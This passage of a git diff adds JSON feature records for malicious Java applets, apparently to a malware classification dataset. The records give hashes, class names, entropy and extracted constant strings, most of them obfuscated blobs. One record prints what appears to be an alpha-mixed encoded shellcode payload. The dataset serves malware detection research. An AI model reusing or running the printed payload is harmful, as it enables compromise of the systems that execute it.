["627e655352025967041401041c267527051e30752a7a3c5000232928030d055a4a260f041f182824252c3c2823342f330706530c32041506044d2676240d1e3225232b6d50002a7828020e570b4d260e064c182e20257c682825312f325300520b32041202571a2f707003173520297e3c51002b292b000707024f200e061f182924217e3a7e243529360601530b325011020318207723061860207e2d3d57002e2d2e0309070d19200b0718182921767d3b28223028330700530b31031606011a737624051e332028233e5904782f79040e020d4c270c51194b2f2123283a2f20672b650002555a340112020318252425561e32247b2b3c50522b2e28020e530b19260e051f182922247d3b2822332d335500530931041401561c277625041d34752c2a3b56062a2b7e045c030a4c7308001d4e2d2522753a2b243428330104550234521254041b267627011e61242a29395000292f28050f05094d265d071f1a2120257f352823312f320107540d63031606051a207126021a35262d2d3a02072c2e2f050b03584c210c51191a2e2023753b2b243428320007530a32041501024d207722031833267c2d6f56012d7c2e050d530f1c200c014e1e2c26267a382823312f310106020d33031207051e707126031b34272d2e3b5206222e2c0506075d4f26090519112e2623743a7b243429340005550f36011309021f20732205193622232d6a56552f282e0108010d432058014a182820257c692e73372e340006520964031707011a257120021c342d2d2f3b59027d2d29040c03084c230904181b2d23232b3a7d253528310056555834571204031e267725051e61222e2d6a55002c2b2e0b08030d43205d011a1e2e26207b382823312f3052025b0f61024507051b207024074835272c2e3a53072e2e2a0406020f4d2f0c511a182e2223743b2e243829600005550c340112050019217e23061837232a2c3856092d7f2e570b040d49210a01161e7f26707e6e2a2b357c355706520c34021503521a757024034b3423287d380606292f79040a03084d220d551f19292024283b2f246028310101550d35071305031e217023571935232d2c3856532d2e2a5409000d18200b01181e2827207a3a2e243629350506540d61021606001c277625054f35262c7a3a01062d2e2d040702024c25085219192921257d3d28246029320106550a30521252021d202323021c6421292c3557032c2d2e0709510b4b260e061d1f2a26207a382d21372a350507560c30021d06001b2f7271031f34712c2a3a57062e2e2a020e050b4b730c0f1b4b2f71237c3b2e24302d650053550a34511206064a237523001831232f2c3e56092c2d2f0b0b510d4b205b011e1e2e26207a3e2b703326360000520b32051507551a277123031f30722c783a51067e2f2f005901024c730903191d2f2723783b2a22302f330607540d340512520319207321531834242b2b3c510629212c0b0d0c0f19205f011e1f2f26247f6a2e71372e355306540964001d07511b227020031934212d293f02002b2b29020f050c4a260e0f1f182921257d3c2122312f330600530932041400041c262725051e60242a2b3d50002b7a28020f050b4a255c071f182820257d3e2822312f330601520963561301041c277474571632242a29395752232928020c540c4a260e031b4b7b21257d3c2922312f370600535832041457041c267225051e33242a2b6850002b2928020e050b4a260c5149182920737d3c28233128330600060b32041501031c267673051e32242a2a3c50012b2928030e050b4a270e071f4b2920257d3c2823342f330601530b32051401041c2676250c1e3376222b3c50052b2d7a0a0f050b4c740e071f182920257d3c2822312f", "TzMWq", "557c", "fpRBj", "4f61371a1879", "vaCT", "4f360b295d2c72502c092b437d6a3d561a2a477e6c7d1f", "m979zhG", "17784c654f076108624e6751567965185d6655557f2551", "5wpuhCT"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8dbf635a59846ae6b90526efa930239981295a52", "file_name": "java_malicious/4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3", "_id": "b8101121-9be7-45e5-a0cc-7fc4e691e573", "score": 0, "entropy": 5.234756782162528, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4712, "ssdeep": "96:ArV2AlihLtNd0u+pm//VtYX58Tsps0EHJslHcyoo5G:DAla3z+piYesGtp6ot", "sha256": "4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3", "md5": "0cd52b13a1d8a1037928e78c74cbe458", "parent_sha256": "4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df.results b/java_classification/data/malicious/4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df.results new file mode 100755 index 0000000..9a50030 --- /dev/null +++ b/java_classification/data/malicious/4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 51, "class_name": "B", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction"], "sourcefile": "B.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 34}}, "_id": "872aad67-2d40-4c64-a1a6-46efbbbcde9a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "fec0112abd6a0d2b7f0477b0e716cd2c41a46889", "file_name": "java_malicious/4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df", "_id": "872aad67-2d40-4c64-a1a6-46efbbbcde9a", "score": 0, "entropy": 5.202538469828033, "libmagic": "compiled Java class data, version 51.0", "file_size": 619, "ssdeep": "12:EDFUSDQul3kiO5LLprPSRRO4YgjA6EGPrkVIOsg2ZyxqkPtQV:CUyQul3WW3O4VjFEGPz9nyIqSV", "sha256": "4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df", "md5": "748ac5c78259947a2f86fb6fcf4705d3", "parent_sha256": "4d1d2b24b7384438bdc702c1c5422a6d5ea196ceae1ba41d484a7866727784df"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725.results b/java_classification/data/malicious/4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725.results new file mode 100755 index 0000000..b4f05dc --- /dev/null +++ b/java_classification/data/malicious/4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "YqRlfVjx.java", "class_name": "CQAfR/YqRlfVjx", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "gVXLKq", "avwXGL", "FagiPVUe", "qUQhMt", "", "init"], "minor_version": 0, "const_pool_count": 210}}, "_id": "a68101e9-21bb-4f74-b86e-56a3ea122f96", "verbose": {"java": {"constant strings": ["-!#`=; `$#6`#,+/ =+<8+<`\\x04#6\\x03\\x0c+/ \\x1d+<8+<", " +9\\x03\\x0c+/ \\x1d+<8+<", "$/8/`\"/ )`\\x1d:<\\' )$/8/6`#/ /)+#+ :`\\x03\\x0c+/ \\x1d+<8+<$/8/6`#/ /)+#+ :`\\x03\\x0c+/ \\x1d+<8+<\\n+\"+)/:+,!!\"+/ ", "", ")+:\\x03\\x0c+/ \\x07 =:/ :\\'/:!<", "(\\' *\\r\"/==", "$/8/`\"/ )`\\x1d:<\\' )$/8/`\"/ )`\\r\"/==\\x02!/*+<", "=; `!<)`#!4\\'\"\"/`$/8/=-<\\'>:`\\' :+< /\"`\\r! :+6:", "=; `!<)`#!4\\'\"\"/`$/8/=-<\\'>:`\\' :+< /\"`\\t+ ++-:!<", "+ :+<", "-<+/:+\\r\"/==\\x02!/*+<", "*+(\\' +\\r\"/==", ";<\"", "\\x02\\x01=\\x02\\x1a", "/>>\"+:\\x11-\"/==", " +9\\x07 =:/ -+", "+\"+#+ :\\x08\"+6", "$/8/`\"/ )`\\x01,$+-:$/8/`\"/ )`\\x1d:<\\' )", "*+-\"/<+*\\x03+:&!*=", "-/(+,/,+~~~~~~}\\x7f~~**~/~~}*~~{-~/~~{*~~{+~y~~{(~/~~~}~~{-~w~~}-~~x~~v~~x\\x7f~v~~x|~/~~}-~~x}~/~~~}~~xz~v~~x{~/~~~}~~xx~/~~}-~~xy~y~~xv~/~~~*~~xw~/~~x/~~x,~/~~}-~~x-~y~~x*~/~~\\x7f\\x7f~~x+~/~~\\x7f\\x7f~~x(~y~~y~~/~~\\x7fz~~x+~/~~y\\x7f~~y|~/~~y}~~yz~/~~\\x7fz~~y{~/~~\\x7fz~~yx~/~~y}~~yx~/~~y\\x7f~~yy~v~~yv~v~~yw~w~~}-~~y/~/~~y,~~y-~/~~y*~~y+~/~~y(~~v~~/~~\\x7f\\x7f~~v\\x7f~/~~v|~~xx~v~~v}~v~~vz~/~~v{~~vx~/~~v{~~vy~v~~vv~v~~{|~/~~vw~~v/~/~~v{~~v,~/~~vw~~v-~/~~v*~~v+~/~~v{~~v(~/~~v{~~w~~/~~}-~~w\\x7f~/~~v{~~w|~/~~}-~~w}~/~~v{~~wz~y~~w{~/~~}z~~{-~/~~}z~~wx~/~~~}~~wy~v~~wv~/~~x/~~ww~/~~}-~~w/~v~~w,~y~~w-~y~~w*~y~~w+~\\x7f~~~}x(y{yz~\\x7f~~\\x7fvz-x/x\\x7fyxx\\x7f|(xwx(|(z|y{xxxxx{y|x{xz{yy|xwyzx{y|},~\\x7f~~~|xwx+~\\x7f~~\\x7fvz-x/x\\x7fyxx\\x7f|(xwx(|(z|y{xxxxx{y|x{xz{|x{x\\x7fxzx{y|},~\\x7f~~~\\x7fy}~\\x7f~~\\x7f\\x7fz-x/x\\x7fyxx\\x7f|(x+x{yz|({}x(x}x,x{yz},~\\x7f~~~}y{y|x-~\\x7f~~\\x7f|z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~-x\\x7fy~y~x-x{yz{(x}x-x\\x7fy}y}~\\x7f~~\\x7f\\x7fz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z}x-x\\x7fy}y}},~\\x7f~~~x}-xwx+xwyz}+~\\x7f~~~}|v|w{x~\\x7f~~~zz}x(xzx{~\\x7f~~~(z-xwx+x{z+y{x*x|x{y|{zx\\x7fx|x-x{~\\x7f~~~}y|y{x+~\\x7f~~\\x7fz|v|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z(x|x/x{x}yz},~\\x7f~~~{z(z(x*x/x|~\\x7f~~~/zyx{yzz/x\\x7fy|z+x\\x7fx*x{~\\x7f~~\\x7fz|v|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~}z*zz}{~\\x7f~~|x|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~\\x7fz{xx\\x7fx-xwxzx\\x7fyzx{{}x{x}y{y|xwyzywzxy{x+x}~\\x7f~~z/|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~\\x7f\\x7f{|x\\x7fx+xzx(x*{}yzy|xwx+xyz\\x7f{}z}zwzw~\\x7f~~\\x7f{|vzw|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~,xyx{yzzxxwx-x{{~x\\x7fyzxv~\\x7f~~~v}-x}x-xwx+xwyz}+~\\x7f~~~/{}x(y{y|x}x{zxxwx-x{~\\x7f~~~/z-z(zv{~{}|+x/x\\x7fyxx\\x7f~-~~zw~~z/~y~~w(~-~~/~~~/\\x7f~\\x7f~~\\x7fyx/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xyz|y{xwx-xzx{y|~-~~z{~~zx~\\x7f~~~v{{{xz/z{x+x|yzz/~\\x7f~~~}z|{{x(~-~~{z~~{{~-~~/|~~/}~\\x7f~~~{|xxv}*}\\x7f}\\x7f~-~~/z~~{\\x7f~-~~z(~~z/~\\x7f~~\\x7f}x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z{yvx}x{y~yzxwx(x+~-~~/{~~z/~y~~/x~-~~/y~~/v~-~~{v~~{\\x7f~\\x7f~~~-x/x\\x7fyxx\\x7f|(x+x{yz|({{{|z-~-~~zw~~/w~-~~//~~/,~\\x7f~~\\x7fvx/x\\x7fyxx\\x7f|(xwx(|(zxxwx-x{z(y{yzy~y{yz{}yzy|x{x\\x7fx*~y~~/-~-~~/*~~/+~y~~/(~-~~,~~~,\\x7f~-~~,|~~,}~-~~,z~~z/~-~~,{~~,x~\\x7f~~~*y|x{xyy}yxy|}}}||~|*y}|~||~\\x7f~~~\\x7f||~-~~zy~~zv~y~~,y~-~~,v~~,w~y~~,/~-~~,,~~,-~y~~,*~-~~,+~~,(~-~~-~~~-\\x7f~y~~-|~\\x7f~~~\\x7f{-~\\x7f~~~\\x7f|(~y~~-}~-~~-z~~-{~-~~-x~~-y~\\x7f~~~~~y~~-v~-~~-w~~-/~-~~-,~~--~-~~-*~~-+~y~~-(~-~~*~~~{y~-~~*\\x7f~~*|~-~~*}~~*z~-~~{|~~{}~-~~*{~~*x~-~~{~~~{\\x7f~-~~*y~~*v~\\x7f~~\\x7f~x/x\\x7fyxx\\x7f|(y{yzxwx-|({|x\\x7fx+xzx(x*~-~~*w~~*/~-~~/|~~*,~\\x7f~~~+x/x\\x7fyxx\\x7f|+xwx(|+yzx*y~xzxwy|~-~~*-~~{}~-~~{x~~{y~\\x7f~~~z|+x{yvx{~\\x7f~~~{z-z(zv{~{}~\\x7f~~\\x7f~x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z(x|x/x{x}yz~\\x7f~~|yx/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|({~y|xwyxxwx-x{xyx{xzz{yvx}x{y~yzxwx(x+z\\x7fx}yzxwx(x+~\\x7f~~\\x7f+x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z\\x7fx}x}x{y}y}z}x(x+yzy|x(x-x-x{y|~\\x7f~~~-xzx({~y|xwyxxwx-x{xyx{xz~\\x7f~~}*|vz-x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|({~y|xwyxxwx-x{xyx{xzz{yvx}x{y~yzxwx(x+z\\x7fx}yzxwx(x+},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z(x|x/x{x}yz},~\\x7f~~~xx\\x7fy~y~x{x+xz~\\x7f~~|*|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xyz|y{xwx-xzx{y|},~\\x7f~~~vyzx({}yzy|xwx+xy~\\x7f~~~(y~y|xwx+yz{}yzx\\x7fx}x,{zy|x\\x7fx}x{~\\x7f~~\\x7f~x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}ywy}yzx{x*~\\x7f~~\\x7f|y}x{yz{}x{x}y{y|xwyzywz*x\\x7fx+x\\x7fxyx{y|~\\x7f~~\\x7f+|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}x{x}y{y|xwyzywz*x\\x7fx+x\\x7fxyx{y|},|w{x~\\x7f~~\\x7f{|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|w{x~\\x7f~~~/x(y~x{x+{}yzy|x{x\\x7fx*~\\x7f~~\\x7fy|v|wz-x/x\\x7fyxx\\x7f|(xwx(|(zwx+y~y{yz{}yzy|x{x\\x7fx*},~\\x7f~~\\x7f\\x7fx/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({|y{x+yzxwx*x{~\\x7f~~~/xyx{yz{|y{x+yzxwx*x{~\\x7f~~\\x7f{|v|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({|y{x+yzxwx*x{},~\\x7f~~\\x7f}x/x\\x7fyxx\\x7f|(xwx(|(zwx+y~y{yz{}yzy|x{x\\x7fx*~\\x7f~~~zy|x{x\\x7fxz~\\x7f~~~y|v{,z|zwzw|wzw~\\x7f~~~{yyy|xwyzx{~\\x7f~~~y|v{,z|zwzw|w{x~\\x7f~~~{x}x-x(y}x{~\\x7f~~~zx{yvx{x}~\\x7f~~|y|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({~y|x(x}x{y}y}},~\\x7f~~~(x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z}x-x\\x7fy}y}~\\x7f~~\\x7f}xyx{yz{~y|x(yzx{x}yzxwx(x+zzx(x*x\\x7fxwx+~\\x7f~~|||v|wz-x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|({~y|x(yzx{x}yzxwx(x+zzx(x*x\\x7fxwx+},~\\x7f~~\\x7f+x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|({~y|x(yzx{x}yzxwx(x+zzx(x*x\\x7fxwx+~\\x7f~~~*xyx{yzz}x(xzx{{}x(y{y|x}x{~\\x7f~~\\x7f-|v|wz-x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z}x(xzx{{}x(y{y|x}x{},~\\x7f~~\\x7fvx/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z}x(xzx{{}x(y{y|x}x{~\\x7f~~~,xyx{yzz-x(x}x\\x7fyzxwx(x+~\\x7f~~\\x7f~|v|wz-x/x\\x7fyxx\\x7f|(x+x{yz|({{{|z-},~\\x7f~~~{yzx({{{|zw~\\x7f~~\\x7f~|v|wz-x/x\\x7fyxx\\x7f|(x+x{yz|({{{|zw},~\\x7f~~~-x/x\\x7fyxx\\x7f|(x+x{yz|({{{|zw~\\x7f~~\\x7f~x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy~\\x7f~~~yy|x{y~x-x\\x7fx}x{~\\x7f~~zz|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z}xvx\\x7fy|{}x{y\\x7fy{x{x+x}x{},z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z}xvx\\x7fy|{}x{y\\x7fy{x{x+x}x{},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~{y}y~x-xwyz~\\x7f~~|y|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|w{,z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~\\x7f,x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z*x{y}y}x\\x7fxyx{zzxwxyx{y}yz~\\x7f~~~,xyx{yzzwx+y}yzx\\x7fx+x}x{~\\x7f~~}\\x7f|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(y}x{x}y{y|xwyzyw|(z*x{y}y}x\\x7fxyx{zzxwxyx{y}yz},~\\x7f~~~vxyx{yzz|ywyzx{y}~\\x7f~~~z|v|w{,z|~\\x7f~~~xxzxwxyx{y}yz~\\x7f~~~x|v{,z||w{,z|~\\x7f~~\\x7f\\x7fx/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(zwx+yzx{xyx{y|~\\x7f~~~,yzx(zvx{yv{}yzy|xwx+xy~\\x7f~~~wy}y{x|y}yzy|xwx+xy~\\x7f~~\\x7fx|vzwzw|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~xx-x{x+xyyzxv~\\x7f~~~}|v|wzw~\\x7f~~~xx{y\\x7fy{x\\x7fx-y}~\\x7f~~\\x7f{|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z(x|x/x{x}yz},|w{/~\\x7f~~~yxwx+xzx{yvz(xx~\\x7f~~\\x7f{|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wzw~\\x7f~~~yx+x{yvyzzwx+yz~\\x7f~~~z|vzw|wzw~\\x7f~~\\x7f-|vz}|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xyz|y{xwx-xzx{y|},~\\x7f~~~,xyx{yz{~y|x(y~x{y|yzyw~~|\\x7f~~}-~~}*~~~\\x7f~~}+~~~{~~~~~~}(~~z~~~~~~~~~~~z\\x7f~~z|~~~~~~~~~~z}~~zz~~~~~~~w~~z{~~zx~~~~~~~w~~zy~~zv~~~~~~~w~~~\\x7f~~zw~~z/~~~\\x7f~~z,~~~~~~yx~~~{~~~|~~~~~~}/|/,y~~~\\x7f|/,v~~~|{y|/{y,,~~~}{w,y~~~z|/|/{y,|~~~{\\x7f|~x\\x7f|~y,x~~~v,x~~~w\\x7f|~/,x~~~w,x~~~,,}~~~{|/,x~~~-/y~~~vz-|,,x~~~+,\\x7f~~~\\x7f~~~z~~}\\x7f~~}z~~~*~~~\\x7f~~z-~~~~~~||~~~v~~~~~~\\x7fz~~~z~~\\x7fx~~~w~~\\x7fy~~|*~~\\x7fv~~}\\x7f~~\\x7f,~~}z~~\\x7fw~~}{~~\\x7f/~~}w~~\\x7f-~~~\\x7f~~z*~~z+~~~\\x7f~~z,~~~~~~||~~~\\x7f~~~\\x7f~~~~~~~x~\\x7f,v~~~(~\\x7f,~~~~~~~~\\x7f~~z-~~~~~~~/~~~|~~~~~~\\x7f(~~~z~~|~~~~~~~z(~~z/~~~\\x7f~~z,~~~~~~(~~~~z~~~w~~~~~~vv,v~~\\x7f~z*,,~~\\x7f\\x7f{w|/{y,|~~~{,y~~\\x7f|z+|*,x~~\\x7f}}/~z,,~~\\x7fz{w|-,y~~\\x7f{}/~{,v~~\\x7fx}/~x\\x7f\\x7f~z~~,-~v}/~y\\x7fw~z\\x7fw~y~}\\x7f\\x7f~z~~,x~~\\x7fy{w}-~|w(~~~(\\x7fw~{\\x7fw~y~}\\x7f,,x~~\\x7fv/y((+x\\x7fw~{,x~~\\x7fw\\x7fw~z,x~~\\x7f/\\x7fw~x|-,x~~\\x7f,{y/y~~~{}/~v\\x7fw~x,,~~~}{w,y~~~z\\x7f|\\x7f-,x~~~w|-,x~~~w\\x7f|\\x7f*,x~~~w,x~~~,,x~~\\x7f,{y/y~~~{}/~v/y~~~zz-,\\x7f~~~}~~{z~~{,~~{+~~~*~~x~~~y+~~v\\x7f~~~*~~~~~~v}~~vx~~~*~~~\\x7f~~z-~~~~~~}+~~~(~~~~~~|x~~~z~~|y~~\\x7f\\x7f~~|v~~\\x7fy~~|w~~|\\x7f~~|/~~|x~~|,~~|*~~|-~~z/~~|*~~z(~~|+~~{z~~}~~~{,~~}\\x7f~~x~~~}}~~y+~~}z~~v}~~}{~~vy~~}y~~~\\x7f~~{~~~{\\x7f~~~\\x7f~~z,~~~~~~{+~~~}~~~}~~~~~~|+|/{y,|~~\\x7f+,x~~\\x7f(,x~~|~,x~~|\\x7f,x~~||,x~~|}z-|,\\x7f||z\\x7f||{,x~~|x\\x7f||{,x~~|yz*|-|-,+~zxz}|,~z-\\x7f||v,~~~~\\x7f~~~~~~|w~~|/~~~*~~~\\x7f~~z-~~~~~~\\x7fx~~~{~~~~~~}-~~\\x7f{~~}*~~|}~~}+~~|/~~}(~~|,~~z~~~~\\x7f~~{|~~{}~~~\\x7f~~z,~~~~~~v-~~~z~~~x~~~~~~z-\\x7f||w,v~~|/z*|-|,,x~~|,,x~~|-z+,,~~~}{w,y~~~z}/~z~}}x~{\\x7f{~{|*,+/|~~|}\\x7fw~z|*\\x7f{~{}}\\x7f\\x7f~~((y+\\x7f\\x7f~\\x7f~~v~,v~~|*~z~x,x~~|+,x~~~w{yvz~{~\\x7f/y((*-\\x7fw~z,x~~~,,~z*\\x7f||v,~~~~\\x7f~~~~~~zy~~zv~~~*~~~\\x7f~~z-~~~~~~|x~~~w~~~~~~zv~~~x~~z/~~~(~~z,~~\\x7fv~~z-~~||~~z*~~}-~~z-~~z|~~z(~~zv~~{~~~zw~~{\\x7f~~~\\x7f~~{z~~{{~~~\\x7f~~z,~~~~~~w~~~~z~~~x~~~~~~xz|-,x~~|(~x/\\x7f~~~,|*,x~~|(~x/|~~~x\\x7f||v,~|,|,,x~~|(~vxz|,,x~~|(,x~~|+}/~z|,~}|,,x~~|(~vxz,x~~|+}/~{|/,,~~~}{w,y~~~z\\x7fw~{,x~~~w|-,x~~~w,x~~~,,x~~}~~}~v,x~~|+\\x7fw~z,x~~}\\x7fw/~~~+|/,x~~}||*,x~~}}w,~~~{|,,~\\x7f||v,~~~~~~~~\\x7f~~z-~~~~~~\\x7f/~~~x~~~~~~{{~~\\x7f}~~{x~~|}~~{y~~}~~~{v~~{(~~{w~~x\\x7f~~{/~~~w~~{x~~{y~~~\\x7f~~z,~~~~~~x|~~~z~~~z~~~~~~}x\\x7f||vz-,,~~}z{w,y~~}{z*~}}+\\x7f*\\x7f//|~~|{,,~~~}{w,y~~~z|,,x~~~w\\x7f~x\\x7f|-\\x7f~\\x7fw,x~~}xx~w|,x~~}y,x~~~,z-vz~}~\\x7f/y((*-|,,~~~~~~~~\\x7f~~z-~~~~~~\\x7f/~~~x~~~~~~{(~~~}~~x~~~~,~~x\\x7f~~\\x7f|~~x|~~|+~~x\\x7f~~}z~~x}~~~w~~{v~~{\\x7f~~~\\x7f~~z,~~~~~~}v~~~|~~~~~~~~~~|~,,~~~}{w,y~~~z\\x7f|}v,v~~}w,x~~~w\\x7f~\\x7f},v~~}/,x~~~w\\x7f|},,x~~~w,x~~~,,~~~~~~~~\\x7f~~z-~~~~~~~x~~~\\x7f~~~~~~xy~~~v~~{w~~z/~~~\\x7f~~z,~~~~~~|{~~~\\x7f~~~~~~~~~~~w~\\x7f,}~~~{~\\x7f,}~~\\x7f+,\\x7f~~~~~~~\\x7f~~z-~~~~~~~/~~~|~~~~~~\\x7f\\x7f~~~z~~\\x7f|~~~\\x7f~~{/~~~~~~~|~~{,", "\\x7f~~~~~"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b70d0e3ab5ed924a465d9f535bb6d5b2ba11ae11", "file_name": "java_malicious/4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725", "_id": "a68101e9-21bb-4f74-b86e-56a3ea122f96", "score": 0, "entropy": 4.257508842525831, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 31569, "ssdeep": "384:tkxzEDX25beiib6nZ5vEKUjcbQEJUh6bVxTP2g4ZApOHR+4QPwql26mmpeQ8gb8s:cH2sPdnNmtjAIel7RZTgg5j/U437", "sha256": "4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725", "md5": "27f494e0a982ef76413ed4193c02b175", "parent_sha256": "4d4c06b900005be93fd689aff4c1a9a6d5fbda6f009eb858a84fb3a647f7f725"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0.results b/java_classification/data/malicious/4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0.results new file mode 100755 index 0000000..8c1833f --- /dev/null +++ b/java_classification/data/malicious/4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "decoder", "init"], "minor_version": 0, "const_pool_count": 104}}, "_id": "5126bc55-50c3-4d71-a5f0-a0292aac9f41", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIlPLPJ0npnpZ0lPNpnpLPKXgpEPePwpzKePYykLS0uPc0SoPdy1p0ePUPGppx4LnkSpfllKT0uLnMlKQx5XZK6ilKaPP4nmSpSLLKu8WLLKKGCZ5TV9xhLOePS0c0irhyu8PopngpwpQxD5BRplrMQDKOWfNkYxyxRYEPc0gpnkZw2gOpeo30PuXzbgcgswOpWO7pD5ZZNkZOQOuckyoqzLdDuQEPgpnkyLPQ0R2se8UT31uP7pYorvDLPZ1Irq0RLK32rs73MPGKePsEyjmQQk9lvNE5ahU5BUESOsJKVhMYS3YWqSs4fNQu2X3UYVrc5XS0QKMZzaWtVPk83uuP5cO0V0V0bsV72pyoF6fpk3L87pqetFsZWqrsKOv65TqJ2yNcIRFdsqmP4z5PpultkO1FEXrq1FNk45GLlK2TtnRXgsZUPVlKPvGPESXuWCJiqYaQlm6c9UFSkk6ooNvpwJn6447xiQhKVm4CiJW0XkYaGK5Ot5yw3nnkQNEt33YM3VLKVlRkNksn7lWsiMnkwtlKuSKunK3n3iISKXyoKNyoKONn0NvnjLLXInmZDNanyHYrT3VSyZlJaKEfDZVOPpRp0nRLRJWpe80tPtBPWJToFOcWROBOPg0lSUfN1qrNpaPlPyBT3YcSsCVN2CpoBMtnsX2JQxQsU71q2W2QayCZcSTnCYrNrFpotoplU555toQDSqpTrrw1WIwUdrtpvNPaPspptoQuqXPfu6tytptu3U5i4p2vP0p3sVvP5a08dsvPTp4pWBbrSU3VSSTwtrE1Pb516QP0Dr64cRWD00P3fYwHP2sTF1dptptpdpdptpEdsSUitpDqwHP0VQ3vdp4pVQDvp0tpFPqqczfPsSdptptpp6p0p1PlP0vXP0VYRkSTas52sTPbVQp84rp3tqp8eP5PA", "419,20,7f,6d", ",", "file://abc/", "B", "u", "\\xc0\\x80"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ac2a11f046765c07ddb4e04ea86d67337ddbed0b", "file_name": "java_malicious/4d7b99ddc217d757c0460fae4ddb302673cd6bdf99040db729d9157979f55db0", "_id": 